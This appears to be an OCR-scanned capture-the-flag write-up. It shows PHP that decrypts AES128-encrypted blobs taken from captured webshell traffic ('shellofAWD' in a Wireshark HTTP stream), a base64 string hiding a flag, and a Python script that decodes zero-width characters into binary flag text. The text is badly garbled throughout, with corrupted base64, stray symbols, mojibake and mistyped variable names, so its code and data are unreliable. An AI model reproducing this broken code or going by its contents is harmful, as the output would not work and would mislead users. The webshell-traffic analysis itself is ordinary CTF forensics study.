eKZPtu+YWKwtgrEwwbKaA@mty4dDpbsrU4cZgnPd/63kmPw6MnlF/S@QvaVqsa8RRASRMg59arONs5DmMs8fZsR+fuw56BPY+vIQWITIkj1QELwhd
SNfgBN6eUp57zMB4+PPGe3VOr{fDO0OXt8z73cI9Vuv7iPNRgMOIZ30WstCg/Rk9Rks6jbzF7K//vIderuWaNeze66ukU46xD2RmqF+0DeR3qKOwOD9
j2/q/+DKZKDKaAejcNIwFWYx10XLOw2SnE31TrnTebwcnFuKU1PkkI95fj3zkBFX+IsWwVpfnIIMkEa21rQlDASpz81vtjAdlLrFXx9XtH123gUMT
yWv3Q6NWcxbF5xYDTh1MIkZ1e60/SatEeaPO0plq5LBOY8HqkFDZ45Fdad+5NwOem8oKytfyCa/2Pb001ZzHrqzPyMEDKK1U7QPaUXnJicCHDCR]
EU1CPM3/8geYIajg9a/+krkb8VB5ArmgIXVfvvhkCGhODApPI7SolzoFrfQUoA4qIppez28aYgSQqZHuqTsE@IvIXQikKF2t525rIQjaRwtbhKQB/
OVavkVtcD23Xuz8zwNe3mSMMkCvfADiFgOyA3gPHANSJITYMkf5RY4PST5gE6hD63eaHwhY9iUelL 9XHXvkQUeAn6TdOmGe4xI1fZasMWXNZ7MrBOG
WW13Yo5YVa/RY+kKJzedZXGAetFImBKzAKPjxIpFpAlgelLzBcDrtOWjAhEFo+cFOSb49CgXM8y4+PfLXMIzCO+025bqOk1CsmNwR1KuyDEsMXQzP
QxNJIKc45g5VMZ8G+sdiWrfNw3n3H311rgXJcpk@4XIorWLAV4ecL7jdn2+1+2xAn6FJeTyl1Cw7z5b9ji5Z0yew+3Mop5hheYKKiDUuMylowuogiA
kMxm+cKBYk127esSG1ihkLWFJZ30RVFMZ38vy9ZYsQRHOFiwN120d+T3SmmUhxizzDhowD1bjJY10WfcUsGpOZNG3aTUcEzdWWZFlowr/P3twi8R
8aQjjP6L+8dk4BDU8GiA9zI7rtK1ibn3sNdk1ls6XTbpG+eXWMjAUEFarFHLVns+hpSXPazZ05tMqoRPW3AUogKrKfBenkxc7UPM6KaIF5V61kDjRb
51VAP6VStyOcXrNiOFrjrg3VSYCFV4JEofM48GFLiZyLj2uyVdbRi5czhLp/S6+cGANyK6t+gbfhgljM5/3MitXYNjO/L1RN7yzbahCcLbohdDwu
gstBSEYrXRf3FGrU+cqT4uTsYWKwLVpjPjdj7rx7SCWwORVVbBL/mMWTI2e/vhZdVA4AN3UF8MWNjMEMO44kDIqkSDNI10ArtK9x1IUIDgmOHuUCjXc
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UeoW VI Jouvvul 1/ ALTURVINTT UL JWVUS/ URNNJIIARUVITUNRJEIY TTLO 01 1 AHNURZINIYUL LU IAULISUACACRNTR T £V INATIHAU JITUCLNIVLIUULITIT L TUCINUIILD

9dZWJfLyOHdj5WgNUY7KSiNXStKB5+1yDICS/YgZZQKAVAUPYIVtbnCcB8AAKZHVCTRbNCsYO1vKkZVjeXIzSs7Bv7Gqlaf6L9e+dSeAd3a5yEBg
zDATo6nxZbdDEYWODHmM2LNn2Hsx@0FyEHOU6gHe@CKPV4JhXvR6Xxnm2fRDXxXzu72MIfHEV7gzUa55q8t8TyWwpWqnBqPAEyNnHqtLWW12nHN3D/nn
ryKU9rzZAejHXJ1uSORkS3tSQb8pDsYXOH3W6ZY1R4AVKwu/IOPApUrHt5ZVe4VxDFPMWWDsa5qzkPuRDAzkCz1SsK7rwBEuk4KGc+4Nm/E9sysux
M4Yro5vRYep52S1CPURSjUVCImuVmYwqOEt5mFSj1I68u@VkGOUdpTX6RSHFUrxfPgQHTAGKIFKPSZeXIZF4eqpa+ijRp9Bk/hvwCxqcievufyDP
4bhBhsLC9cnlvwomTfpPDpFRFddfRb5eeGrnFVBrCDfNzyJEyooUb/ZIzLTFCLTGfcnFEJotPRS4H3Q878Qd4aVINY7Xbo3FBgRrQpMEY2DgWfCz5
oqv8zBonmp7rgTiZYkEz/+EtaDxe91lotNt+Sc4427cdxTaVHXBMHU8RrWcxoZY/WDYmyi4DMTO7fZghCDMTIHtgfwyow5IvGzbN4gXE1i2ZL GtPH
n6q6wbJoCmCURUKBZap@2BB4WHYMV+IKmS9arBgAAjIDye2p02QGvBbtosbjnmbsqeUyrk042zV+hj2I3F3bkd+cnulUZOngql1BF29FuUrCAGrFigh9
Ta3B1TX3Va49sFhomOdLrBBPwwZ3YMgfSGTzCOINKbF/q7neLKFb6tIG1TYIGQeIGn093/tJ97poigabLG2yn3MZNotdbgnbxg+1KS1SgeoToVUr
zI+gMSudbrwZp24AZXC+nMRWOfTzLL9SZudE4pafGrDkR+LoByifl+gbZHSkG7HsIPIhy@zP304T82Z+BqkKfDjaLScMfwE1HX3RMkeGexvBQiGa
MdOT9+bC27HDLumbUHP8DhSrRAHKC1+CINPkwa9oAzwOUE+G79vo69dorfvesEdk9J20fYCdjV1hudmLQWM/NIX5K8QFnV90oRQO6NXxOPOKkk7LVU3
jMN9DR2h/vW81Kn20ZBJIHNV1TzVupz1A8r2+CTfrldorTleUY619bEbQkILGPfi5xTL+UuN133cKezihnp/qYLLbBzG6N4/LBWsbShIWehnGy1VA
yj88zNEUP1vCiFxVMoXfTKMTPbyPCaCbQbPmozWo4SIhQOoy8GVgNpDbAIihr2cpZmb3m70ZG/pyn+z1sx9tOFKP1jQ==";
$r5=openssl_decrypt($d5, "AES128", $key);

print($r5."\n");
$d6="5U+SI03pbtOCXFM7gLAX3xT7qOgDPFaCK81NevSENrmykZAp5df3PVKLatDpFNjHObD+Z7gk9SmN/j/3arRrOV+//5SLLvdugYPIHXQhbV5
8PoDpQB253zgalKNaTURWOMKGMIPQvon504C1h11sEROMRh76LAlcrzTkEeUSmlUFvcsCs8bE/4HHMPWVT6ZFz5/sxgVeqOunGqléextD5ns0/hMq
etd+BSRwMwLddA®Ox8Z1/8YtiN6ZsDhXq77Un0OXUp42k50241LUn1u0@rv5FrHC7hpCsp6/01CBITISrLXEGF1iqD2UeVnK6tjb1RVGAOW1TRYVS
/dmNRh8mOUOtK3yxTCx/QMC2ccjePA15PUExuh2TUvVj1+sQ/5CzrF";
$re=openssl_decrypt($d6, "AES128", $key);

print($r6."\n");

$d6="5U+SI03pbtOCXFM7gLAXx3xT7q0qDPFaCK81NevSENrmykZAp5df3PVKLatDpFNjHObD+Z7gk9SmN/j/3arRroV+//5SLLvdugYPIHXQhbV5
8PoDpQB253zgaJKNaTURWOMKGMIPQvon504C1h11sEROMRh76LAlcrzTkEeUSm1UFvcsCs8bE/4HHMPWVT6ZFz5/sxgVeqOunGqléxtD5ns0/hMg
etd+BSRwMwLddA®Ox8Z1/8YtiN6ZsDhXq77Un0OXUp42k50241LUn1u0@rv5FrHC7hpCsp6/01CBITISrLXEGF1iqD2UeVnK6tjb1RVGAOW1TRYVS
/dmNRh8mOuUOtK3yxTCx/QMC2ccjePA15PUExuh2TUvVj1+sQ/5CzrF";
$d6="5U+SI03pbtOCXFM7gLAXx3xT7q0gDPFaCK81NevS6ENr1VUjw2jAedG8cvo7swGeH7d4qnGprNORgFKgp213ZNXDUoYoNO®41D1egvaMucQll
S78W2yWGG1tUOHE3TPrFyQjWlQgHQIiYsd7SuVZhr+LYA16xAjLRbupr/TONgX110s5nZ1SATLOtmdD8I858rn9avF/NecVbUCOf15ujvETvwrwB
pu91CcSFgIKjNIjWMIVNtOOXNVSmNMA9ywtdoM+skG/AubGhkAha7pYixW1ljfXIaz6GVOvczVDrEF7VD5uVDmTtVUOENSL/Fgxvr2pt00c+yWIAL
XmC7TU8G50e31Fwz5RXNHHkmuWwGbCFQE®®zbvb8abR1IX3HbPGFtqUNbMpcXNPIFFcW9/@mdAMPPSkn3hBssz2KelIndNSxDsovb+IM7yjd6qOly
KSaG123JrqvdDN5Kjnt/ThDhdKPMZOIxtGs227qFONHpmw8KA3ZSY/6BwmQrxctIek9fyHSBQELRwWQhxuajI35U5xs@5FH5XGhyE15e5kGBZGMrY
0Z1zx2DHWfzFdTRcAUu2FcfIRcdt7W2QvnZsuCfT2uiewgNYNKrt9yhKguz2bmPVzaJYRLj97skNPTSOE1XNVNMyDh+z1pv2xejpalHmmTiSS20jM
20uydKNrIJ20JYx5H67dfXPhIfmbnV+I/5mQ/CVshPksqvLGDXY1HKeK4Y36BBTygaVvzv12rLrylTv2PTPrLNxzNYPZyKCSO1lfubntF1LkSUg5m
qQZPzLEcCT3eDDPZSFp5BpsWM/4E1BZFnwiBMXmHNO6RADS98TmN32XsRIUEY91V3c673S9g85kqzZDc1hGzn113ghMId2meYSMOprZ9FXCxjnpUcl
I/k70k2cgeWsktZdePVxhnto605EQE6PZASbYMtONn7ivEuanmIEp@YCsOWHonR41hN1pll3u/eqkla@Ues32CvCQVRQc1kjK+Y34cW57IdPmMESAP6
gkvplsybI81QcOSoyAMIVOF1kXbcrzghiphj56sj31iiixp7LX995ivceSHihoWvuFd4iulxwVz19n8T9f63PHLN/K8mVPhz2uGZQrbmk/c+n4z1
YJ1834it4G2k300ZyrGulZm8Fgnbigric55D4ktfHCooCVS6axvD1gCFNNroDb3c10kuwu/4WZ6DgNotxTjdr4dIZ/+XMONF72G9A3jRE3+GOVCcGH
dR17//ZjEdofylxjpIM718f3k3UqtA9YalL31318ZycoPJ/aJTUuNgPYmxEjrcIkrkA/xh7IBZNE7xnZ7afkBh4XdqrPEJZHIEOqXx7nxGGNd++HqC
oncNeODjP4yBXr6FdlzpaoiCrilyOpsmSBbBGCyVewFNB8h1FRm/IgxAzUtybYXiSFo6F4XU59jPHDPV1xsN/vkWP5fkGplPtza@EqFcXPNa8Wlh
1VoSz/bgAmx+IKQT+SjwsOro582i26RmswPsLhYhKSWNYQUXuQFXYsuUn2n31E7myWCx8IXsn7t0Yh@D8IB1PAm2ZYg2bTvwAqBsmlSDaca+2TIr
OcyKbQRZ+z7jC9d7VGL9+HdxIK5agoFpJuCMaAEzqxGzcyd17B4Bu3yHbNiIFDRCM/bTWKUO1Pyww52ivY1Qw+5GjZMxHVs/gzCDVI+K3B7iYhC7t
HIzOVCZYyzSPvAAFyHVoorjCSJzOWuPvg3efjR8FOfIgORQXHOkkb3s9yQlCuriYbhfPvIg8a7dGR+H2mgPbK4UuM8TUCT91P9pIiNhTHhYWOQ1lr
Z+TMNCn87+fgQcmAgMhPW6dxTMG6g6KYhOj1SbTKwdIZ0Z6G6LfbKOiiAu+HWIXipwK/@VUQb3sZkhBIJCOobMXFH5XJJ20QEIcIwnJ+U3iIACRL
SBkA43BS4dvZUUw3yCQMXvoCt45SFYiFLoOEF/N5f3uaNuysvAdnfek/1QdegC6PCewtZn1X8eyjFwcDCWrbeO5A6tPPMTk1AFznB+NHX1WU78+w]j
YAyetrpT57KkHE8+aaP11E72rhMIx07Auu3MwQNuo®2pGN860XEZhXqjs2htwnNTvpv55cnuI8p TRpCKT6hGBPBOPY8m5YUF@aXYajl302hWRa++
Uxi+vhWgSwBNnZshsc2S9hPEIWOOS8j4wlvMUB1fOVMN+vGOOTNWmBSDY9dLPb1hX7JYpAMopg55qg7W8Se5bac3RDNVOIY4=";
$ré=openssl_decrypt($d6, "AES128", $key);

print($r6."\n");

$d6="3EniqqomALUsvYD+1PfchIrIQwWEUiOJt8zzJ7fH7Adx9Bqjo2f+7ZrD8MY3w01j1Hh+9c8ACVIWAC8CaiCwmfWb7WkrF4MNbI6P8DfPRoCt]
IEnE4rp@eM+0DWIn47cqolQapHSYBoHVDFwy+K@RohahYtXPHGj8a/U7MW8JtzSTc1Dh2tZIn36sQvYAvrGjTyZYKUQ41HksPD+XMEomnSKO3F s+
asPq/bEr4Y9CcHNOpR/pbNzp26nVohgTQX76PbRNzHh7u16QegdN/aYwRFDLY3MD5A8Fhbr/XghUeh+07hmyyxjY1UeE9Z8Hg8HWeI/5buqtkSy9
VuM+91RbtMWytLYCh92hNggIKjhRbIV9jQPOFYK1cOhorEMAQmyf1Fc6muUIF2I9mbeOQNCwwiviZyXNKqalYVOM2r2SXZGxV/H3dD9fGkZ/tVbZ
uVZu5Au+gWtoaH5kb6tUkV/JABVagK2yalE+Eir6stknIijXy85fbrXOViOQC3rhWvc4jHmx3tS4BZfqlUgqZBsA7j2MGDSrwSiluqZboUTwXA8dY
BPXxINefdrKzbpxAS9EZ1pjSp5D+8TLgbPNN8Xdo+nLEXIpkFvLZTtWI+kwNzbHcC7ksPmYPkhs1oK@jEGIPNs6YnSKPDV7gM6BQiQBnintY3fzz2
epJ5rNy6gNpaYXsaxyblR+dviltcWL6hzmmHYTps/2N1LtSceZ5iVE9ENgt8gi5nKyYKx02xLEujDqGHd+g+nde341ybFk2wP4gAyiABDcON6IK+
aUKJIv93zzJa@LotLebn2wgdTzvkACSxXpzxcMu2RZoH8DeTepMpTe+cmM2KVjRmR1d+eEKUV6FLgBRi4pLh22LNCO9YgVvB4AD9s49IP/cATccuRs4
YUEelXtSpgKbmgHvO6KvtWuWSGIk56/6mIl/x0kirCEOYWYR3BpozgKCA5COVIWTXTP40e jDRFMhXiwuGko2BCXsjJiXGR79nsvZFN3As9KQZDFq7
bVJilLg900VFsVjIF3inB2bYK7wirGqrBIbDy9PclhXLFFuFf5+QI00/pCzUs6t2f7DscjrQuTrAvwOkdMimICSWzEPczQUnvBnSP4IiiJyXJuUu/
ru9JaQgtelyFkU/hHVNMvGCbcR6hmHQHU1LkIu5W83waETvSxOPO7tcLHK2UBSYyFhDzezF8I6in50nmNXn8/TAGRNLIFSCi0S63FhLgpx21A7iKb



VFF2zbdLf@OXPsVGqIVEQrmilm5G1ROui7GaZTe6pboRpKNOjfraHLI7f1quMjDK81i+2BTvSzjT1sGLXRPb2SadvvytMGp51iyj9z1qTpItieOuT
1gEjclkiTIC+nCo2w@dcTI3TqEVQqd/+Tg+6RaZA4bOpABYdMjHajGbTX5+Zf6cyqpRDW25tKI/@3hAS8ZgdbiPaXrF0+8mbVZYHFQmMjz0X2gHbIL
H6jJzsehItvEpl/Ula9rbrOi6nymXqnz/6CQH7CZFEGBaawjXLZufHYPcwW2f6PstfI6vcyAbil /H/mZ7GKvq8lo17/Ipa9G1lXkrd2vNXGiUgHcs
FrhMu@5NR68QWbgxrvGjeckK5rBa@qejZfYARS3WegXBS770KiRLSLTTMLVSs2zF/6x2bc7V3yi7ufZnkIrzE8NZTYcOV/Zi0qQ13CcZadUVwiu/Kp
4g+1KXbfHAKIiecp4CFY+1zSd25TH3ROWoLWOLNIJytz17uF8+PNgQsjobTqKIbmozFMKfOUSKUI6hveB54PwFRDAPQY4ISQyR2kuztnfmyAwDWh
sKEH310dPeSi+qg@xhcnslbgCUwqOrZjqwcpM423akhPV/5kmhshQsrTKGKmXbksrbds2ZwwtOXFXBd5c4rMIyyPyrFLcb9UbZOMjOTNS14gKGTuL
135gA101MBwWX37JRgfFQQGY6BBkIINjcvDtIMS6CE+A0j10PV2uew01CX3Z/ffOWXUX20ZZHNANBZhEJi7BrE+AsydZTFg5ne+303vsSibofFN4A
pvOgOpBKt7uyIM/IKsdaikVCIMiY76HiVQCeCkbNITRyeMgXp8KoXtU7ARt9IdLPoeM8LbvMIEOXIcYCOVF5g0yR3625kBs3028niU@cpnOfrn55
Q+G5LyR4e//sWIv1/W+wiSB4+36sYZVXOWZULW+8ZyWU8P1X2Nb2DdGriNU3n9/d4WXf7/KjGdPW2azZ{84YD/vHtxwc20ewa9bFREu7BgcGv5PB7
N014ETtixsQz0xjdZB+C+C35NT1qCV7nNfBN1+eNSwRDsYJabedp2yVrkAbEIINXYyVjmWOEpINipoDOIYAVb/vwB/0@9r9NsoMZ2SkTSPfcC8X6i
MipUXiucyHZs4itifXkHpUGznzypWqRO/mFkkeqiIUzcP1M7AmRI589pbsC1lKSel+YZ3W0409C1VPWFRObXEqKOjkK3CtjKW35dSVIszHkXyts6c
S8b8mWKXmHjXa0j93f+31t04eiFxpUcfoiyqRDgtOjK+wgHam+qI2gX51W0/z0vEh6]c7KADEp47yZRO1BMiL ThPZ5XBILXS9GN5PUSFTOYVSmMIxX
1gHK90gKez/Rwth/eTVMiV68GORZRt4NsvZ/FC/7F+yij+QURNwHVV+IfrxYgHqTymNXmoCZXPt37yUSSulv87C0QdgSqRWTKAeLQjbpt7QreSwy
eKZPtu+YWKwtqrEwwbKaA@mty4dDpbsrU4cZqnPd/63kmPw6Mn1F/S@QvaVqsa8RRASRMq59arONs5DmMs8FZsR+fuw56BPY+vIQWIIkj1QELwhd
SNfgBN6eUp57zMB4+PPGe3VOrfDO0Xt8z7JcI9Vuv7iPNRgMOIZ30WstCg/RkORks6jbzF7K//vIderuWaNezZ66ukU46xD2RmqF+@DeR3qKOwOD9
j2/q/+DKZKDKaAejcNIwFWYXx10XLOW2SnE31TrnTebwcnFuKU1PkkI95fj3zkBFX+IsWwVpfnIIMkEa21rQ1lDASpz81vtjAdlLrFXx9XtH123gUMT
yWv3Q6NWcxbF5xYDfh1MIkZ1e60/SatEeaP@0plq5LBOY8HqkFDZ45Fdad+5NwOem8oKytfyCa/2Pb0olZzHrqzPyMEDKK1U7QPaUXnJicCHDCRJ
EU1CPM3/8geYIajg9a/+krkb8VB5ArmgIXVfvvhkCGhODApPI7SolzoFrfQUoA4qIppez28aYgSQqZHuqTsE@IvIXQiKF2t525rIQjaRwtbhKQB/
OVavKVtcD23Xuz8zwNe3mSMMkCvfADiFgOyA3gPHANSITYMkf5RY4PST5gE6hD63eaHwhY9iUeL9XHXvkQUeAN6Td9mGe4xI1fZasMWXNZ7MrBOG
WW13Yo5YVa/RY+kKJzedZXGAetFImBKzAkPjxIpFpAlgelLzBcDrtOWjAhEFo+cFOSb49CgXMBy4+PfLXMIzCO+025bq0Ok1CsmNwR1KuyDEsMXQzP
QxNJIKc45g5VMZ8G+sdiWrfNw3n3H311rgXJcpk@4XIorWLAV4ecL7jdn2+1+2xAn6FJeTy1Cw7z5b9ji5Z0yew+3Mop5hheYKKiDUuMylowuogiA
kMxm+cKBYk127esSG1ihkLWFJZ30RVFMZ38vy9ZYsQRHOFiwN120d+T3SmmUhxizzDhowD1bjJY10WfcUsGp@ZNG3aTUcEzdWWZFlowr/P3twi8R
8aQjjP6L+8dk4BDU8Gi1A9z]7rtK1ibn3sNdk1ls6XTbpG+eXWMjAUEFarFHLVNns+hpSXPaZ05tMqoRPW3AUogKrKfBenkxc7UPM6KaIF5V61kDjRb
51VAP6vStyOcXrNiOFrjrg3VSYCFV4JEofMA8GTLiZyLj2uyVdbRi5czhLp/S6+cG4NyK6t+gbfhgljM5/3MjtXYNJO/L1RN7yzbdhCcLbOhdDwU
gstBSEYrXRf3FGrU+cqT4uTsYWKwLVpjPjdj7rx7SCWwORVVbBL/mMWTI2e/vhZdVAAN3UF8MWNjMEMO44kDIqkSDNI10ArtK9x1IUIDgmOHuUCjXC
a2zQTbTmjsbvvGTY/x246k@hMTuED5COe/dKRImxk@nUKIMyhisSPfZmukOhQbiicTXGEsoxcx9k4KTzsv5RZehzuj+GczHOi68EhP14GeNdHt 3]
9dZWJIfLyOHdj5WgNUY7KSiNXStKB5+1yDICS/YgZZQKAVAUPYIVtbnCcB8AAKZHVCTRbNCSsYO1vKkZVjeXIzSs7Bv7Gqlaf6L9e+dSeAd3a5yEBg
zDATo6NnxZbdDEYWODHM2LN2Hsx@0FyEHOU6gHe@CKPVAIhXVRE6XNM2FRDXXZzu72MIfHEV7gzUa55q8t8TyWwpWgnBgqPAEYNnHgtLWW12nHN3D/nn
ryKU9rZAe jHXJ1uSORKS3tSQb8pDsYXOH3W6ZY1R4AVKwuU/IOPApUrHt5ZVe4VxDFfPMWWDsa5qzkPuRDAzkCz1SsK7rwBEuk4KGc+4Nm/E9sy sux
M4Yro5vRYep52S1CPURSjUVCImuVmYwqOEt5mFSj1I68u@VkGOUdpTX6RSHFUrXxfPgQHTAGKIFKPSZeXIZF4eqpa+ijRp9Bk/hvwCxqcievufyDP
4bhBhsLC9cnlvwemTfpPDpFRFddfRb5eeGrnFVBrCDfNzyJEyooUb/ZIzLTFCLTGfcnFEJotPRS4H3Q878Qd4aViWY7Xbo3FBgRrQpMEY2DgWFCz5
oqv8zBonmp7rgTiZYkEz/+EtaDxe91otNt+Sc4427cdxTaVHXBMHU8RriWcxoZY/WDYmyidDMTO7fZghCDMTIHtqfwyow5IvGzbN4gXEL1i2ZLGtPH
n6q6wbJoCmCURUKBZap@2BB4WHYMV+IKmS9arBgAAjIDye2p02QGvBbtosbjnmbsqeUyrk042zV+hj23F3bkd+cnulUZOngqlBF29FuUrCAGrFigh9
Ta3B1TX3Va49sFhomOdLrBBPwwZ3YMgfSGTzCOINKbF/q7neLKFb6tJIG1TYIGQeIGn093/tJ97poigablLG2yn3MZNotdbgnbxqg+1KS1SgeoT9VUr
zI+gMSudbrwZp24AZXC+nMRWOFfTzLL9SZudE4pafGrDkR+LoByifl+gbZHSkG7HsIPIhy@zP304T82Z+BqkKfDjaLScMfwE1HX3RMkeGexvBQiGa
MdOT9+bC27HDLumbUHP8DhSrRAHKC1+CINPkwa9oAzwOUE+G79vo69dorfvesEdk9J20fYCdjV1hudmLQWM/NIX5K8QFnNV90oRQO6NXOPOKKk7LVU3
jMn9DR2h/viWN81Kn20ZBJIHNV1TzVupz1A8r2+CTfrldorTleUY619bEbQkILGPfi5xTL+UuN133cKezihnp/qYLLbBzG6N4/LBWsbShJWehnGy1VA
yj88zNEuP1vCiFxVMoXfTKMTPbyPCaCbQbPmOzWo4SIhQOowp4dhauu6zVwR80zgOWPZtSKF/rGmaR36C2E20+weMsW+aBy/OmOESYRqQjSqD+TSs
8g0SF7d+6Sp8pavmk4NNI" ;
$d6="5U+SI03pbtOCXFM7gLAX3xT7q@qDPFaCK81NevS6Nrmak6Hhj9PXx3Z1GnMIgkgqngHmf6ba5VvtRMgIP6wUtoMXx5WeYIvobewjKDmZ8sSU
CZ3hKzzkX2ISKKy/snPv+6UOh5rBo67j/JvFGUOUjkKCbCe+nEGD9EKYv1OUU9KHU=";
$re=openssl_decrypt($d6, "AES128", $key);

print($r6."\n");
print base64_decode("PDO9waHAKCi8vIGZsYWcgPSAid2h1Y3Rme2NkNzY4ZWFjLTA3NDYtNDk30S1hNDBkLTViNmEYNj1jNGRkZX0iCj8+Cg=

_n
— 3

?>



XA B AR TR, BIE178 MBI, xR [E] Py A% B TR Biflag

M Wireshark - JBER HTTP i (tcp.stream eq 7) - shellofAWD — O *
+sdiWrfNw3n3H311rgXJcpkeaXIorWLAVAecL7 jdn2+1+2XAN6F JeTy1Cw725b9ji5Z0yew+3MopShheYKKiDUuMy lowuogiAkMxm ~

+cKBYk127e55G1ihkLWFIZ30RVFMZ 38vy97YSQRHOF iwN120d+T3SmmUhxizzDhowD1bjIY1@WfcUsGp@ZNG3aTUcEzdWWZF1owr/P3twisR8aQ]jP6L
+8dk4BDUSGiA9ZI7rtK1ibn3sNdkls6XThpG+eXWMjAUEFarFHLVNS
+hpSXPaz0os5tMgoRPW3AUogKrKfBenkxc7UPME6KaIF5V61kDjRb51VAP6VSTYOCXrNiOFrjrg3VSYCFVAIEoTMASGTLIZyL j2uyvdbRiSczhLp/S6+cGANyK6t
+gbthgljMs/3MjEXYNjO/L1RN7yzbahCcLb@hdDwlgstBSEYrXRT3IFGrU+cqT4uTsYWKWLVPPjdj7rx7SCWwORVVDBL/mWTI2e/
vhZdVvA4N3UT8MWNjMEm044kDIqkSDNI10ArtKOx1IUIDgMOHUC jXca2zQThTmjsbvvGTY/ x246k@hMTUEDSCOe/
dKRImxk@nUKIMyhisSPTZmukohQbiicTXGEsoxcx9k4KTzsv5RZehzuj+GczHO168EhP14GeNdHE3j9dZIWIfLYy@Hd jSWaNUY7KSiNXStKBS+1yDICS/
YgZZOKAVAUPYIVtbnCcB8AAKZHVCTRBNCSsY@1vKkZV]jeXIzSs7Bv7Gqlafeloe
+dSeAd3a5yEBgzDATo6NnXZbdDEYWODHM2LN2HS x@@F yEHOUG6gHe@CKPVAThXvREeXxNm2 fRDxXZzu72MITHEV7gzUa55q8t8TylWwplgnBqPAEYNNHGtLWW12nHN3D
/nnryKuUSrZAe jHXI1uSORkS3tSQb8pDsYXOH3W6ZY1RAAVK WU/ IOPAPUrHt5ZVedVXDTPMWWDsa5qzkPURDAZKCZ1SsK7rwBEUk4KGc+4Nm/
E9sysuxMAYro5vRYep5251CPURSJUVCImuVmYwq9ETSmFSjlI68uevkGoUdpTx6RsHFUrxfPgQHTAGKIFKPSZeXIZFdegpa+ijRp9Bk/
hvwCxqcievufyDP4bhBhsLC9cn1vwemT fpPDpFRFddfRbSeeGrnFVBrCDfNzyJEyooUb/
ZIZLTFCLTGfenFEJOtPRSAH3Q878Qd4aVWY7Xbo3FBgRrQpMEY2DgTCz50qvBzBonmp7rgTiZYkEz /+EtaDxe9lotNt+5c4427 cdXTaVHXBMHUBRIHCXOZY /
WDYmyi4DMTO7fZqhCDMTIHtqfwyowSIvGzbNAgXE112Z L GtPHN6G6WbIoCMCURUKBZap@2BBAWHYMY
+IKmS9arBgAA]jIDye2p02QGvBbtoshjnmbsqelyrkod2zv+hj21r3bkd
+cnulzZenqg1BF29FulUrCAGrFigh9Ta3Bl TX3Va49sFhomodL rBBPWWZ3YMgTSGTZCOINKbF/q7neLKFb6tIG1TYIGQeIGn093/
tJ97poigablG2yn3MZNotdbgnbxq+1KS1SgeoTOVUrzI+qMSudbruZp24AZXC+nMRWOTTZLLOSZudE4ApatGrDkR+LoByif1+ghZHSkG7HsIPIhy@zP304T827
+BgkKfDjaLScMfwE1HX3RMkeGexvBQiGaMdOT9+bC27HDLUMbUHPSDhSrRAHKC1+CINPkwadoAzweUE+G79vo69dorfvesEdkol2ofYCdjV1hudmLQuM/
NJIX5K8QFnV90oRQO6Nx8POkk7LVU3 jMN9DR2h/vW81KN20ZBIHNV1TzVupz1A8r2+CTTrlderTleUyY619bEbQkILGPTiSXTL+UUN133cKezihnp/
qYLLbBzG6MN4/ LBWsbShIWehnGy1VAYj88zNEUP1vCiFxVMoXT TKMTPbyPCaCbQbPmezWo4SIhQOoypyFBnwgx/

PQ5wvx6U2LTYQgr3NNbywFxng99Gkbz tDOphpHIASWOVEdQXBBUPPZq1KCjoIVUxaqLE9CDhXplEHTTP/1.1 200 OK

Date: Mon, 11 May 2020 08:40:43 GMT

Server: Apache/2.4.41 (Debian)

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 172

Keep-Alive: timeout=5, max=1@0

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

+SI03pbteCXFm7gLAX3xT7qegqDPFaCK81NevseNrmakeHhjoPXx3Z1GnMIgkgngHmf6basVvtRMgIP6wlUtoMXx5WeYIvobewjKDmZ8sSUCZIhKzzkX2ISKKy/|
snPv+6UOh5rBo6Jj/JvFGUOUjkKCbCe+nEGDEKyYv10UUSKHUS]

="5U+SI03pbtOCXFM7gLAX3XT7q@qDPFaCK81NevS6Nrmak6Hhj9PXx3Z1GnMIgkgngHmfeba5VvtRMgIP6wUtoMXx5WeYIvobewjKDmZ8sSU
CZJhKzzkX2ISKKy/snPv+6UOh5rBo67j/JvFGUOUjkKCbCe+nEGDIEKYV10QUU9KHU=";

=openssl_decrypt( , "AES128", )

print( "\n");
print base64 decode("PDO9waHAKCi8vIGZsYWcgPSAid2h1Y3Rme2NkNzY4ZWFjLTA3NDYtNDk30S1hNDBKLTViNmEYNj1jNGRkZX0iCj8+Cg=

_n
= ]
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#coding=utf8
f=open('/BH"','r',encoding="utf8")
d=f.readline()

f.close()

i=0
dd=""
for x in d:

if x =="\u2eed":

dd+= '@’
elif x=="\u200c':
dd+= "1’

#i=1+1
f=open('res', 'w")
f.write(dd)
f.close()
#res
#011101110110100001110101011000110111010001100110011110110101100100110000011101010101111101101011011011100011000
0011101110101111101101000001100000111011101011111011101000011000001011111011100000111001000110000011101000110010
1011000110111010000110001001100010011000101111101011101110110100001110101011000110111010001100110011110110101100
1001100000111010101011111011010110110111000110000011101110101111101101000001100000111011101011111011101000011000
0010111110111000001110010001100000111010001100101011000110111010000110001001100010011000101111101011101110110100
0011101010110001101110100011001100111101101011001001100000111010101011111011010110110111000110000011101110101111
1011010000011000001110111010111110111010000110000010111110111000001110010001100000111010001100101011000110111010
0001100010011000100110001011111010111011101101000011101010110001101110100011001100111101101011001001100000111010
1010111110110101101101110001100000111011101011111011010000011000001110111010111110111010000110000010111110111000
0011100100011000001110100011001010110001101110100001100010011000100110001011111010111011101101000011101010110001
1011101000110011001111011010110010011000001110101010111110110101101101110001100000111011101011111011010000011000
0011101110101111101110100001100000101111101110000011100100011000001110100011001010110001101110100001100010011000
1001100010111110101110111011010000111010101100011011101000110011001111011010110010011000001110101010111110110101
1011011100011000001110111010111110110100000110000011101110101111101110100001100000101111101110000011100100011000
0011101000110010101100011011101000011000100110001001100010111110101110111011010000111010101100011011101000110011
0011110110101100100110000011101010101111101101011011011100011000001110111010111110110100000110000011101110101111
1011101000011000001011111011100000111001000110000011101000110010101100011011101000011000100110001001100010111110
1011101110110100001110101011000110111010001100110011110110101100100110000011101010101111101101011011011100011000
0011101110101111101101000001100000111011101011111011101000011000001011111011100000111001000110000011101000110010
1011000110111010000110001001100010011000101111101011101110110100001110101011000110111010001100110011110110101100
1001100000111010101011111011010110110111000110000011101110101111101101000001100000111011101011111011101000011000
001011111011100000111001000110000011101000110

Hrres WA = 1F Lhy 8 # # vascii 5 15 2

>>> binascii.unhexlify('7768756374667b5930755f6b6e30775f68307751743051707230746563743131317d7768756374667b593075
5f6b6e30775f68307751743051707230746563743131317d7768756374667b5930755f6b6e30775168307751743051707230746563743131
317d7768756374667b5930755f6b6e3077516830775f743051707230746563743131317d7768756374667b5930755f6b6€30775¥6830775F
